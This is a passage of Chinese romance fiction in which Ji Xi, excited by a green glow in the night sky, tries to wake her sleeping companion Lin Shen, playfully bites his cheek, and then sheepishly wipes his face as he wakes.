她不敢确定,拿手机拍了一张照片,又莫名感觉激动,想去厨房拿杯冰水喝冰冰脑子,又怕自己离开了再回来,这抹绿色会消失不见。
季西盯着天,兴致勃勃,本就聊胜于无的困意消失不见。
她很想把林慎拉起来分享,手伸到他脸上时,又突然想起来,林慎会跟到这里来,完全是因为她。
在过去很多次,她跟林慎分享自己的愿望时,他都并没有表现地很热衷。
这样的思绪只存在片刻,立马就消失了。
季西重重地捏林慎的脸,在他耳边大叫:“起来啦!起来啦!”
林慎在睡梦中皱了皱眉,看起来并没有醒。
季西把他的脸当面团捏,又去磋磨他的眉毛和鼻子。
林慎的眉毛很浓,维持着恰到好处、不粗不细的宽度,不过看起来跟他的头发一样黑。
他鼻梁很高,收到末端时成了一个小小又精致的鼻头,前几天哭的时候鼻子皱得很漂亮。
季西觉得他长得很精致。
她想起前几天晚上时林慎咬她脸的时候,那时她只觉得他有点毛病,现在他睡了,季西却想试试看这是什么感觉。
想着想着,季西入迷般朝他的脸凑过去,然后张开嘴,在他脸上找了块肉最多的地方下嘴。
叼着这块肉轻轻磨了磨,季西想,真是新奇。
她微微张大嘴巴,把那块肉的范围扩大了。
而且越来越用力。
直到林慎发出了不舒服的声音,她才反应过来自己干了什么。
季西松开他的脸,在黑暗中僵立住。
半晌,她站起身,越过他从床头柜上拿了纸巾,帮他擦了擦脸。
她不敢再想自己刚刚都做了些什么,这让她感到后知后觉的羞愧。
大概是擦拭的动作太粗暴,林慎醒了,抓住她在自己脸上作乱的手。
“醒了。”季西心虚地冲他露出一个笑。
林慎问:“我脸上怎么了吗?”
他的声音里带着浓浓的困意,季西自知无理,只是又朝他笑笑,没敢回答。